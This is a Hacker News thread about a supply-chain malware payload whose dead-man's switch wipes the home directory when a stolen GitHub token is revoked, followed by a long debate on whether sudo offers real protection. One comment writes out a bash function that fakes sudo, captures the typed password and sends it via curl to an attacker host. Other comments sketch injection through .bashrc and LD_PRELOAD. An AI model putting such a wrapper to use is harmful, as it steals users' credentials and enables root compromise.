5/11/2026 at 10:18:46 PM
Please be careful when revoking tokens. It looks like the payload installs a dead-man's switch at ~/.local/bin/gh-token-monitor.sh as a systemd user service (Linux) / LaunchAgent com.user.gh-token-monitor(macOS). It polls api.github.com/user with the stolen token every 60s, and if the token is revoked (HTTP 40x), it runs rm -rf ~/.https://github.com/TanStack/router/issues/7383#issuecomment-...
by cube00
5/12/2026 at 12:06:05 AM
Realistically if you have installed malware, you need to do a full wipe of your computer anyway.by Gigachad
5/12/2026 at 12:37:37 AM
[On Linux:]If you didn't give yourself "free" (passwordless) sudo, that's not necessary…
…unless it happened in a week with 2 and a half Linux kernel LPEs.
by eqvinox
5/12/2026 at 1:10:06 AM
Sudo is security theater.Malware can make a fake unprivileged sudo that sniffs your password.
function sudo () {
realsudo=$(which sudo);
read -r -s -p "[sudo] password for $USER: " password;
echo "$USER: $password" | \
curl -F 'p=<-' https://attacker.com >/dev/null 2>&1;
$realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1;
$realsudo "${@:1}";
}
by lrvick
5/12/2026 at 2:12:19 AM
> Sudo is security theater.Yes indeed.
> Malware can make a fake unprivileged sudo that sniffs your password.
Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su. So basically only root can use su and nobody else.
Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so login from tty2 ain't really an option) or by login in from another computer, using a Yubikey (no password login allowed). That other computer is on a dedicated LAN (a physical LAN, not a VLAN) that exists only for the purpose of allowing root to ssh in (yes, I do allow root to SSH in: but only with using U2F/Yubikey... I have to as it's the only real way to log in as root).
It is what it is and this being HN people are going to bitch that it's bad, insecure, inconvenient (people typically love convenience at the expense of security), etc. but I've been using basically that setup since years. When I need to really be root (which is really not often), I use a tiny laptop on my desk that serves as a poor admin's console (but over SSH and only with a Yubikey, so it'd be quite a feat to attack that).
Funnily enough last time I logged in as root (from the laptop) was to implement the workaround to blacklist all the modules for copy.fail/dirtyfrag.
That laptop doesn't even have any Wifi driver installed. No graphical interface. It's minimal. It's got a SSH client, a firewall (and so does the workstation) and that's basically it. As it's on a separate physical LAN, no other machine can see it on the network.
I did set that up just because I could. Turns out it's fully usable so I kept using it.
Now of course I've got servers, VMs, containers, etc. at home too (and on dedicated servers): that's another topic. But on my main workstation a sudo replacement function won't trick me.
by TacticalCoder
5/12/2026 at 3:44:04 AM
This thread was kicked off by somebody who said:> Realistically if you have installed malware, you need to do a full wipe of your computer anyway
You might be the exception to this sentiment. But out of curiosity, after all that setup would you feel confident trying to recover from malware (rather than taking the “nuke it from orbit” approach?).
by bee_rider
5/12/2026 at 5:02:56 PM
> But out of curiosity, after all that setup would you feel confident trying to recover from malware (rather than taking the “nuke it from orbit” approach?).Oh no, I'd still nuke everything from orbit should I find anything indicating a local exploit succeeded. But the thing is: if on one system a local exploit has less probability to give root, then the probability that on that same system I'd know I need to nuke everything from orbit would be higher than on a system where root is easier to obtain.
I was however answering to the part about subverting sudo: and I both agree (it's totally trivial to abuse sudo) and disagree ("everybody uses sudo") with the part about sudo.
by TacticalCoder
5/12/2026 at 6:05:49 PM
I agree. My surreptitious goal was to emphasize to anyone reading along: this person has put in the extra effort, but even they will not try to recover a compromised system. It is just too risky.by bee_rider
5/12/2026 at 2:49:43 AM
In my case I use QubesOS so sudo is useless even if present since every security domain is isolated by hypervisor.For servers, sudo or a package manager etc should not exist. There is no good reason for servers to run any processes as root or have any way to reach root. Servers should generally be immutable appliances.
by lrvick
5/12/2026 at 2:27:51 AM
Thanks for sharing this, that seems like a very cool setup. I have a very old good-for-almost-nothing laptop that would be perfect for this, might just have to copy you!by jcgrillo
5/12/2026 at 3:56:15 AM
FYI, in English the phrase "since years" is grammatically incorrect and sounds unnatural to a native speaker's ears. The correct phrase would be "I've been using that setup for years."/aside
by nozzlegear
5/12/2026 at 5:27:15 AM
Yeah, a "seit Jahren" flashed through my mind as I read it.by sufficientsoup
5/12/2026 at 5:05:00 PM
> The correct phrase would be "I've been using that setup for years."Oh TYVM. Native french speaker here so it'd be the literal translation of: "depuis des années".
Weird thing is I'm pretty sure I've read it written like that... for years ; )
by TacticalCoder
5/12/2026 at 11:09:16 PM
No problem! If it weren't for that one phrase I would've thought you were a native speaker, your English is very good.by nozzlegear
5/12/2026 at 6:05:10 PM
I hear it from many native speakers. The deliberate incorrectness is a sort of cutespeak. "Since... years".I can't stand l33tspeak but in this case I think the kids can stay on the lawn.
by stickfigure
5/12/2026 at 11:05:45 PM
I don't think I've ever heard a native speaker say it, but I could definitely imagine it coming out of a native speaker's mouth with that pregnant pause, specifically. Like an acknowledgment that you're about to say something a bit grammatically awkward.I only mentioned it because I used to think correcting people's English was rude, until I had a long work engagement with a French guy whose English was pretty good but not quite native. He insisted that I correct his written English if I saw a mistake (i.e. in documentation, proposals, etc.), otherwise he wouldn't learn where it was wrong and how to improve it.
by nozzlegear
5/12/2026 at 5:27:30 AM
I've heard this often enough from English speakers from India that I think it is accepted grammar in that region.by kaonwarb
5/12/2026 at 6:35:21 AM
To my ears it “since years” sounds like it’s missing an “ago” after it (or like the GP said “for years” sounds even more natural).It makes me think of another similar one: I've noticed that British English speakers will say e.g. "the new iPhone will be available from September 20th"
To my ears that sounds like it's missing an “onwards” after it (or “starting September 20th” would sound even more natural).
by lemoncucumber
5/12/2026 at 8:28:54 AM
Is the meaning different? I'm struggling to see how "from September 20th" would have a different implication to "starting from September 20th" (or similar) given the context.by regularfry
5/12/2026 at 3:18:01 PM
The meaning is the same, it just sounds weird to my ears in the same way that “since years” does(Also I just noticed the extra “it” in my previous comment, oops).
by lemoncucumber
5/12/2026 at 8:13:20 PM
Are root logins only allowed from that particular LAN? Because ssh localhost is a thing.I would say that the inability to obtain a session with elevated privileges from a normal session is key. The problem with sudo is that it gives the same shell some superpowers, so it's exploitable. Even ssh might be impenetrable, if not for the /dev/<pid>/fd of the ssh invocation, and even that can only read.
by nine_k
5/12/2026 at 3:07:33 PM
>but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so login from tty2 ain't really an optionMy phone password is that long, we’re still only talking about taking a few seconds to enter it when sober.
Most people will quickly develop the necessary muscle memory in regular use.
by walletdrainer
5/12/2026 at 4:14:15 AM
tell us about your disk encryption setup. and do you use secureboot?by aiscoming
5/12/2026 at 9:12:35 AM
Why disallow password login when you have 30 char password?by GoblinSlayer
5/12/2026 at 5:09:18 PM
> Why disallow password login when you have 30 char password?I only disallow password login over SSH. It's still technically possible to log in at a virtual console (like tty1 / tty2 / etc.) using a password (btw only root has a 30 characters password).
Usually you do not allow to directly log in as root by SSH: but in my case it's basically the way I want it done. So I allow root to log in by using SSH but only with a Yubikey.
by TacticalCoder
5/12/2026 at 6:31:36 AM
When you update your packages, are you using that ssh laptop?by WesolyKubeczek
5/12/2026 at 10:01:53 PM
You don't even really need that; you just need to wait until the user runs `sudo` and then you also run `sudo` after they authenticate. Now you're root, boom. It doesn't get you the password, but once you're root you can backdoor to your heart's content and then you probably don't need it.Alternately, run `sudo --non-interactive --validate` over and over until it succeeds. For some reason, using noninteractive doesn't log to the auth log/journald the way trying and failing to actually run a command would.
Edit: the loop only works assuming you can run this sudo command in the background in the user's shell so that you can pick up the same sudo session when they auth, which is honestly unlikely. Easier to wrap sudo in a command that just also runs sudo and then immediately runs something else.
by danudey
5/12/2026 at 6:30:02 AM
Use /usr/bin/sudo yourcommand with any intermediate command not using path but it's real path hard coded.Edited: Previous suggested using \sudo but it depends of the variable path which can be modified by the attacker.
by sinsudo
5/12/2026 at 8:52:36 AM
Yeah, works well:$ /usr/bin/sudo() { echo Not the real sudo.; }
$ /usr/bin/sudo
Not the real sudo.
And every other suggestion also doesn't work if the attacker can just replace the shell.
by throwaway7356
5/12/2026 at 10:37:46 AM
/usr/bin/sudo isn't evaluated as a function under ksh.by anthk
5/12/2026 at 2:16:19 PM
> And every other suggestion also doesn't work if the attacker can just replace the shell.by nightpool
5/12/2026 at 10:43:06 PM
With what? rc? My only shells are sh, ksh and rc there.by anthk
5/12/2026 at 7:40:34 AM
Ok, so the malware runs a keylogger / clipboard logger, gets the password and runs sudo on it's own. Or replaces your shell by putting exec ~/hackedbash into your bashrcPassword on sudo is only useful if you detect the infection before you run sudo
by exyi
5/12/2026 at 7:50:52 AM
Could link it to a yubikey via pam.d so you need a fingerpress to authenticate.by fragmede
5/12/2026 at 8:22:28 AM
Physical attestations are hard to solve, I think it would be nice if all TPMs in laptops had this. Then the problem becomes how do you automate stuff that needs to be done.by pastage
5/12/2026 at 3:55:29 PM
At least my password won't leak as often with yubikey, but the attacker can still hack my shell to execute fake sudo. Even if I type /bin/sudo explicitly, there is ptrace, LD_PRELOAD or just replacing the entire bash binary.In practice yubikey sudo keeps you much safer today, as almost nobody uses it and malware won't be prepared for it
by exyi
5/12/2026 at 8:40:16 AM
And then the moment you authenticate, the fake sudo still executes its payload.Yubikeys do not fix this issue.
by lrvick
5/12/2026 at 6:53:34 AM
Yes, that would be one potential solution. But I have certainly never done it and bet >99.999% of the world's use of sudo is through 'sudo'.Plus you only need one slip-up and you're hosed. Even people who try to almost always use '/usr/bin/sudo' will undoubtedly accidentally let a 'sudo' go through. Maybe they copy/paste a command from somewhere (after verifying that it's safe of course) and just didn't think of the sudo issue then and there.
by mort96
5/12/2026 at 7:08:14 AM
The real problem is that there should be at least 2 levels for sudo, one for installing software and another that really allows someone to compromise the entire system, both layers should be separate to mitigate risk. At least the most secure layer should allow you to perform secure recovering and diagnosisby sinsudo
5/12/2026 at 8:11:58 AM
Unix used to have a user named "bin" just for owning all the binaries and performing installs.by DonHopkins
5/12/2026 at 8:31:06 AM
The old bin user is an idea that could be modernized with a new two level sudo concept, the higher one for recovery and diagnosis, already done in Chromebook and other solutionsby sinsudo
5/12/2026 at 10:21:02 AM
bin passwords I will always remember: At the University of Maryland CS department systems the bin password was "fuck,you", and there was a devout Christian student on staff who had a problem with that, so we had to change it (to something harder to remember, I just can't recall).by DonHopkins
5/12/2026 at 8:43:04 AM
You do not need sudo for installing software. Can just install to ~/.local.Many package managers require sudo, sure, but there is no good reason for them to in a modern linux system, and not all require this.
Even with systemd, you can use systemd --user.
by lrvick
5/12/2026 at 8:57:57 AM
That depends on what the software is. If you want to run a service that bonds to a privileged port for example, you need sudo.by michaelmior
5/12/2026 at 10:07:13 AM
If you set the appropriate linux capabilities flag on a binary such as sshd at bootup then unprivileged users can bind to 22, no problem.setcap 'cap_net_bind_service=+ep' /usr/sbin/sshd
Could even run it as a daemon unprivileged from a home directory with "systemd --user"
That said if you have multiple users and want every user to have their own sshd reachable on port 22 on the same machine you probably want to listen on vhost namespaced unix sockets and have something like haproxy listen on port 22 instead. Haproxy could of course also run unprivileged provided it has read access to all the sockets.
by lrvick
5/12/2026 at 2:57:13 PM
How do you setcap without root?by mort96
5/12/2026 at 6:19:57 PM
The way many including me manage systems without root privileges at runtime is by compiling immutable rootfs images that run in ram with kernel, init, mounting filesystems and assigning any users and privilege assignments, then drop to user privs.That stuff needs to change very seldom, so when you do need to change it you just generate a new tiny rootfs image in a few seconds and reboot to pivot to it or maybe have a kexec trigger if you are feeling fancy.
For my primary workstation the entire disk is my home partition and I boot my latest rootfs from a flash drive. In other cases network boot.
by lrvick
5/12/2026 at 10:08:56 AM
For that you really only need CAP_NET_BIND_SERVICE.The bigger issue is that if you want to install or update system-wide packages, many of those will be used by privileged processes. Suppose you want to update /bin/sh. Even if the only permission you had is to write binaries, that'll get you root.
by zrm
5/12/2026 at 10:04:26 AM
For most things, you can do with capabilitiesIssue is that it increases friction and you need sudo anyways to set the capabilities.
Most web servers would happy to run unprivileged with only CAP_NET_BIND_SERVICE
by signed-log
5/12/2026 at 10:17:41 AM
More than just two levels for sudo, the Linux permission model is completely broken for this very reason. (Also see: https://xkcd.com/1200/)Honestly, the Android approach is significantly better. (and for that, see Micay's various ramblings posted online)
by DaSHacka
5/12/2026 at 9:36:49 AM
Surely if malware has rw access to the home folder, it can adjust the env variables / shell to make this also fake.by ChocolateGod
5/12/2026 at 7:45:57 AM
Why not make a proper link /sudo so you don't have to type out the full path every time, which is very inconvenient? (but the fact that such workarounds are needed still means it's a theater)by eviks
5/12/2026 at 8:45:27 AM
A simple LD_PRELOAD command can cause your shell to run "rm -rf /" when you type "/sudo".If your unprivileged user is compromised, you are pretty hosed.
by lrvick
5/12/2026 at 10:43:51 AM
It should be a way to make system env vars (profile.d or simlar) as readonly so every users' shell had these set to empty values and unable to change them.by anthk
5/12/2026 at 10:54:01 PM
Shell-only, but https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V...by marshray
5/13/2026 at 7:32:01 AM
Yes; I'm aware, but for some environments writting a custom shell as the one for SDF would be an easier task. Or maybe a really restricted "ash" called "rash" -because it is- with maybe autocomplete and that's it. Hardcoded $PATH and the like.by anthk
5/12/2026 at 8:34:02 AM
Anything that can be modified by an attacker can not be used to secure the sudo command. This is a recursive requirementor hierarchy for secure systems.by sinsudo
5/12/2026 at 9:23:31 AM
You can set the permissions so that the attacker can't modify it?by eviks
5/13/2026 at 12:10:39 PM
You would need to prevent an attacker from installing shell aliases, or shell config files, or altering any binaries in PATH.Like, sure you could, but you end up with a very useless system.
Easier to just use VMs for each security context.
by lrvick
5/13/2026 at 12:14:25 PM
Is any of this specific to a link vs tyre original full-pathed sudo?by eviks
5/12/2026 at 8:39:55 AM
Stupid thought.Make alias called sdo that echoes sudo path and hash every time you use it to stderr.
That's security by obscurity though.
by xlii
5/12/2026 at 9:55:57 PM
I mean, this is basically why you press Ctrl-Alt-Del to log in on Windows NT and Win2k - because it's a keystroke that malware couldn't trap, so they can't put up a fake login screen because the OS will override it anyway.by danudey
5/12/2026 at 10:25:26 PM
There was no hardware or other low-level magic associated with C-A-Del.Back in the NT days malware could totally intercept it, but it would have had to be in the kernel. Which was something of an improvement.
Thank you, DoD Orange Book.
by marshray
5/12/2026 at 8:16:38 AM
It would be great if1. shells support the notion of privileged commands, that can't be overridden with PATH manipulations, aliases or functions.
2. Sudo (or PAM actually) can authenticate with your identity provider (like Entra ID) instead of a local password. Then there is nothing to sniff and you can also use 2FA or passkeys.
by FooBarWidget
5/12/2026 at 8:55:11 AM
Fish shell has builtin[1], although sudo is not one of the commands it covers.by ctippett
5/12/2026 at 10:12:25 AM
Neither would actually help in this case though. Malware could manipulate both of those as an unprivileged user to run malicious code the next time you elevate privileges.Remember that malware can replace or modify your shell
by lrvick
5/12/2026 at 12:06:15 PM
No? The shell must be listed in /etc/shells, it can't be an arbitrary command. And after elevating privileges you have to run the malware (which could only be written to home or tmp) for it to work, but sudo already scrubs the environment.So the main danger is that you're not running the real sudo.
I have an idea that I hope to implement one day to make sudo actually secure:
1. Authenticate with passkeys (webauthn) instead of passwords.
2. Sudo can only run an interactive root shell, not arbitrary commands. The session is time-bound, and the TTY output is recorded for auditing purposes.
This combination makes intercepting sudo largely useless. Passkey authentication cannot be replayed or relayed. The fact that sudo can only open an interactive shell makes it impossible for a sudo wrapper to pass a malicious to sudo. This way we're not dependent on whether the unprivileged shell is secured properly. It also solves approval fatigue (compared to running sudo separately for every command).
----
EDIT: now that I think about it: an attacker can still edit .bash_profile and reexec the shell in a malicious terminal emulator. Then when the user gets a sudo root shell, the malicious terminal emulator can inject malicious commands.
Looks like the only good way is to get a root privileges via a separate user account that doesn't have malware, and that also can't easily install malware (e.g. accidentally running npm, forgetting that that's not safe).
by FooBarWidget
5/12/2026 at 1:32:23 AM
To clarify, when does this run? Like you download malware A, run malware A and this function definition changes sudo for it, or sudo for other cases?by nazcan
5/12/2026 at 1:38:25 AM
This could for instance be injected into your .bashrc when you do an "npm install" of a package that has a deeply nested supply chain attack.Then the next time you run sudo, phase2 triggers installing a rootkit, etc.
by lrvick
5/12/2026 at 1:57:17 AM
Or you could also hijack it using $PATH search order with your wrapper to get existing terminal sessions too, there's a lot of ways to skin that cat.by arcfour
5/12/2026 at 2:09:10 AM
Endless ways, which is why I do not understand why sudo is ever used anymore, especially in production.You do not need root to do anything in Linux these days anyway between Namespaces and Capabilities so there is really no reason for root to be accessible at all or have any processes running as root post boot.
by lrvick
5/12/2026 at 3:34:55 AM
I dont mean to be snarky, can you run `pacman -Syu` without root with "new" tech? Or do you mean in general on production systems or whatever?by GCUMstlyHarmls
5/12/2026 at 8:47:03 AM
Plenty of package managers can install to an arbitrary directory like ~/.local. Each user, or even each project, can have its own rootfs full of software.The only things I tend to have running at the system level are a kernel and init and maybe openssh.
by lrvick
5/12/2026 at 2:15:20 AM
That is one of many reasons to keep your dotfiles under version control.by Ferret7446
5/12/2026 at 2:46:23 AM
Someone that can wrap your sudo binary can wrap you git binary too. Once your OS is compromised all bets are off.by lrvick
5/12/2026 at 2:26:07 AM
How would that help? Unless you happen to check the dotfiles git diff before running _anything_. I guess this could be put in prompt or some cron job to detect diffs but I bet absolutely nobody does this.by lpribis
5/12/2026 at 4:47:34 AM
sudo don't acccept password from stdin. it takes a ttyby j16sdiz
5/12/2026 at 4:56:21 AM
https://superuser.com/questions/67765/sudo-with-password-in-...by dymk
5/12/2026 at 8:08:35 AM
Just sudon't.by DonHopkins
5/12/2026 at 1:49:29 AM
[dead]by nullsanity
5/12/2026 at 12:44:12 AM
On linux realistically whatever user you installed the malicious NPM package with has access to everything you care about anyway.by Gigachad
5/12/2026 at 9:53:40 AM
I had an idea to always run 2 users, the "main" one (or more) and a "project one"... one could sudo to the project user, but that one could not sudo out... (npm would only be installed for the project user).by silon42
5/12/2026 at 1:40:17 AM
Every user, since privesc is so easy on most operating systems.by lrvick
5/12/2026 at 1:42:13 AM
Sure, without exploits they can steal your api keys, read your personal data, and access your browser data. With exploits they can update packages on your computer too.by Gigachad
5/12/2026 at 2:45:30 AM
No exploits needed. A simple shell alias will suffice. See my example in sibling comment.by lrvick
5/12/2026 at 1:00:43 AM
Until it overrides sudo in your $PATH to install malware after you enter your password later.by lights0123
5/12/2026 at 9:40:47 AM
Any application running as a user with sudo access and RW permissions on the users home folder effectively has root permissions, it'll just take a little longer to get it.That's why Flatpaks sandbox doesn't exist if the application has access to the home folder.
by ChocolateGod
5/12/2026 at 3:00:59 PM
Next easy attack vector is (non-rootless) docker run with rootfs mount, many are in docker group even when sudo is protected. Also, most sensitive data is in the user scope anyways (on a PC).You should always run dev stuff in containers to start with. And when your system is compromised, reprovision from a higher scope, too many places to hide backdoors
by kro
5/12/2026 at 2:52:48 AM
There a million ways that malware can persist without root.by WatchDog
5/12/2026 at 4:50:04 PM
And I'm increasingly concerned that one could vibe-code a massive payload that does all of these at once - including subtle things like trying to get itself installed into personal projects and forks, so it can persist across a system wipe. We're only seeing the beginning of these attacks.by btown
5/12/2026 at 1:19:43 AM
There numerous ways to root Linux over the decadesby stogot
5/12/2026 at 12:39:40 AM
You should assume other LPEs exist thoughby dgellow
5/12/2026 at 7:12:24 AM
What leads people to believe things like this?by walletdrainer
5/12/2026 at 11:13:23 AM
It’s like if a bandaid fell into the soup pot. You could solve the problem by (A) fishing it out and giving the soup a good boil; or (B) new soup please!by gorgoiler
5/12/2026 at 12:51:51 AM
It's the "nuke it from orbit" approach but "the only way to be sure".by sigzero
5/12/2026 at 2:35:01 PM
Yeah, this is pretty good devex from the hackers.by antihero
5/12/2026 at 4:14:46 AM
you're gonna need the infected device as is for forensicsby nsonha
5/11/2026 at 10:37:54 PM
I don't understand why people were voting this comment down in the issue pageby meander_water
5/11/2026 at 11:27:57 PM
Maybe they have a non-standard interpretation of thumbs-down – as "thumbs-down to this fact" not "thumbs-down to you for pointing it out"by skissane
5/12/2026 at 1:05:37 AM
I have noticed this behaviour happening more often too, it's very confusing. Usually when texting with younger Gen Z people.by hmokiguess
5/12/2026 at 2:36:14 AM
This has always been happeningby efilife
5/12/2026 at 4:58:50 AM
We lived through a generation of agism at millennials and now we're turning around and doing it at Gen Z. It's unbelievable.by Griffinsauce
5/13/2026 at 1:11:38 PM
the history repeats itself approximately every 20 to 33 years!by bpavuk
5/12/2026 at 4:35:51 AM
When you only have eight emoji reactions to choose from, people are bound to get creative in how they use them.by thayne
5/12/2026 at 8:42:45 AM
Or they're from Eridian.by matsemann
5/12/2026 at 3:48:00 PM
amaze amaze amazeby ge96
5/12/2026 at 3:23:30 AM
We need a new emoji for: the situation is lame and the poster is correct. Like a combination of thumbs-up+frownby edoceo
5/12/2026 at 5:12:53 AM
is not bad for that. Not precise, but in the ballpark.by __david__
5/11/2026 at 10:47:22 PM
bots.the GitHub bot law: the GitHub bot situation is way worse than you imagine even if you are aware of the GitHub bot law.
yes, a cheap parody on Hofstadter's law, but that's how bad it is
by bpavuk
5/11/2026 at 11:17:29 PM
[dead]by sieabahlpark
5/11/2026 at 11:31:06 PM
There is no such thing as please be careful when revoking tokens. What does that mean? Dont revoke them? Look at them carefully before revoking them?And what? Just let the actor just keep using them to spread to other people?
Always rotate your tokens immediately if they're compromised.
If it hurts, well, that sucks. …but seriously, not revoking the tokens just makes this worse for everyone.
A fair comment would have been: “it looks like the payload installs a dead-mans switch…”
Asking the maintainers not to revoke their compromised credentials deserves every down vote it receives.
by noodletheworld
5/11/2026 at 11:35:42 PM
You seem to be interpreting "please be careful when..." as "don't". I'm not sure how that interpretation makes any sense. Obviously they just mean, first kill the service (or better yet, shutdown the machine entirely) and then revoke the token...?by wavemode
5/11/2026 at 11:46:37 PM
my understanding is that careful means cleaning up the dead-man’s switch before revokingby yuzuquat
5/12/2026 at 10:14:37 AM
Here being careful about revocation means:Make sure to have an up-to-date backup, that's offline, or at least not mounted on the affected computer.
Check for the dead-man switch, and if present, disarm it.
Only then revoke the tokens. Instead of immediately revoking the tokens, like one would normally do. Nobody is suggesting to keep the compromised tokens active longer than necessary.
by CodesInChaos
5/12/2026 at 6:42:13 AM
Did you miss the part about the script that nukes your home folder?by mosen
5/11/2026 at 11:20:42 PM
Incredible. Mutually assured destruction.The next five years are going to be truly WILD in the software world.
Air-gapped systems are gonna be huge.
by dcchambers
5/12/2026 at 12:16:24 AM
Maybe just ai-gapped.by NSUserDefaults
5/12/2026 at 12:33:20 AM
Is that an offhanded joke on the terminology or do you actually mean something? I can't tell.by eqvinox
5/12/2026 at 3:45:20 AM
I'm not quite sure of what this really accomplishes, like is it just M.A.D.? Like at that point the creds have been stolen and the whole machine is toast.by corvad
5/12/2026 at 5:30:55 AM
The point is to dissuade mass token revocations.Let's say the attack becomes hugely succesful and the worm spreads to thousands of devices. GitHub/NPM could just revoke all compromised tokens (assuming they have a way to query) stopping the worm in its tracks. But because of the Dead Mans Switch, they'd know that in doing so, they'd be bricking thousands of their user's devices. So it effectively moves the responsibility to revoke compromised tokens from a central authority that could do it en-masse, to each individual who got compromised, greatly improving the worm's chances of survival.
by avaq
5/12/2026 at 3:55:39 PM
brilliant. thank you for that.by frikk
5/12/2026 at 4:06:23 AM
Even after the owner has realized the attack and revoked the token, there’s next steps (alerting the community, pulling from NPM) that causing havoc delays even by just a bit.by dominicm
5/12/2026 at 2:22:28 PM
Sounds like MSFT should update the WAF to look for this polling and just return 200 or some other code until resolved, then cycle the tokens.by k33P1Tr3aL
5/11/2026 at 10:31:24 PM
if so, then this is actual terrorism of the software world!!by bpavuk
5/11/2026 at 10:43:01 PM
Only if the goal is to actually spread fear in a civilian population. It's not clear what the motivation is here besides "the worm spreads itself lol".by embedding-shape
5/11/2026 at 10:45:20 PM
that dead man's switch surely smells like that tbhby bpavuk
5/11/2026 at 11:20:50 PM
The dead man's switch reminds me of worms and viruses from my childhood, whose primary purpose was apparently just to wreak havoc rather than direct financial gain. It's a childish gimmick.by isityettime
5/11/2026 at 11:37:38 PM
If an infected computer gets disabled after deactivating one stolen credential, it might slow down the victim from deactivating their other stolen credentials.by resonious
5/11/2026 at 11:59:41 PM
Ugh. True.by isityettime
5/12/2026 at 10:21:41 AM
> as a systemd user serviceHah! I know why I don't use systemd.
by shevy-java
5/12/2026 at 1:36:22 PM
> I know why I don't use systemdCould just as easily install it in your user's crontab though?
by petcat
5/11/2026 at 10:29:29 PM
One should always have had backups configured, but if this is what gets people to setup backups, so much the better.by fragmede
5/12/2026 at 12:34:35 AM
Sure. But even restoring from backup means a cost is being inflicted, and not a small one.by eqvinox